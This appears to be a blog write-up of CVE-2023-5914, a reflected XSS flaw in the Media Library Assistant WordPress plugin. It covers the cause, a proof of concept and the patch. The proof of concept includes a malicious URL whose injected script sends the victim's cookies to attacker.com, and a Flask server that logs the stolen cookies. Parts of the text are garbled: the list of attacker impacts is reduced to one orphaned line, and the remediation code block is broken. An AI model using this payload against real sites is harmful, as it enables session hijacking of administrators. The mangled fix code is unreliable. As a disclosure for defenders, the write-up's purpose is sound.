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Cross-site scripting (XSS) vulnerabilities may seem old-school, but they are still a real threat to websites and web apps in 2024. In this deep-dive post, we’ll examine CVE-2023-5914 — a real-world XSS bug that affects Media Library Assistant, a popular plugin for WordPress relied upon by thousands of active users.

We’ll break down how this vulnerability happens, see what damaging things an attacker can do, walk through some proof-of-concept code, and talk about how to fix the problem for good.

What Is CVE-2023-5914?

CVE-2023-5914 is a Reflected Cross-site Scripting (XSS) flaw that was uncovered in Media Library Assistant (MLA) version up to and including 3.10. A specific parameter in the plugin failed to sanitize user input properly, allowing attackers to inject and execute arbitrary JavaScript code in the admin’s or user’s browser.

Affected versions: <= 3.10

- CVE Page: NVD - CVE-2023-5914

Alter the look and behavior of the site.

Since this plugin is often run by people with high privileges (like WordPress admins), a successful attack could lead to full compromise.

The Root Problem

The core issue in CVE-2023-5914 is not escaping or validating user input. This flaw appears on a plugin page where a parameter is reflected into HTML output, for example:

<!-- Vulnerable PHP snippet: -->
echo '<div>Search for: ' . $_GET['mla_search'] . '</div>';

If a user visits

https://victimsite.com/wp-admin/upload.php?page=mla-menu&mla_search=<script>alert(document.cookie)</script>;

Then the page will output

<div>Search for: <script>alert(document.cookie)</script></div>

When loaded, this causes the victim's browser to execute the JavaScript, showing (or sending) their cookies!

Exploit Example: Step by Step

Let’s build a simple Proof of Concept (PoC) showing how this XSS works and what an attacker might do.

1. The Malicious URL

https://victimsite.com/wp-admin/upload.php?page=mla-menu&mla_search=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>;

If an admin is tricked into clicking this link (or it’s sent as a phishing link), their browser runs the attacker’s injected <script>.

Meanwhile, the attacker’s receiving endpoint (e.g., on attacker.com/steal) could be

# Python Flask example (attacker side)
from flask import Flask, request

app = Flask(__name__)

@app.route('/steal')
def steal():
    cookie = request.args.get('c')
    print(f"Stolen cookie: {cookie}")
    return '', 204

if __name__ == '__main__':
    app.run(host='...', port=80)

Now the attacker sees the victim’s session cookies in their logs.

MLA 3.11 patches this flaw. If you use this plugin, update immediately!

- Plugin changelog

`php

echo '

Search for: ' . htmlentities($_GET['mla_search']) . '';

// or for WordPress

echo '

Search for: ' . esc_html($_GET['mla_search']) . '';

Conclusion

CVE-2023-5914 is a textbook XSS vulnerability — but it’s far from harmless. Anyone running outdated versions of Media Library Assistant is at risk of serious compromise, especially if attackers target site admins.

Further References

- NVD Summary for CVE-2023-5914
- WPScan Vulnerability Database: CVE-2023-5914
- How to Escape Output in WordPress

Stay safe out there — XSS is simple, but its impacts are huge when left unchecked!

Timeline

Published on: 01/17/2024 21:15:11 UTC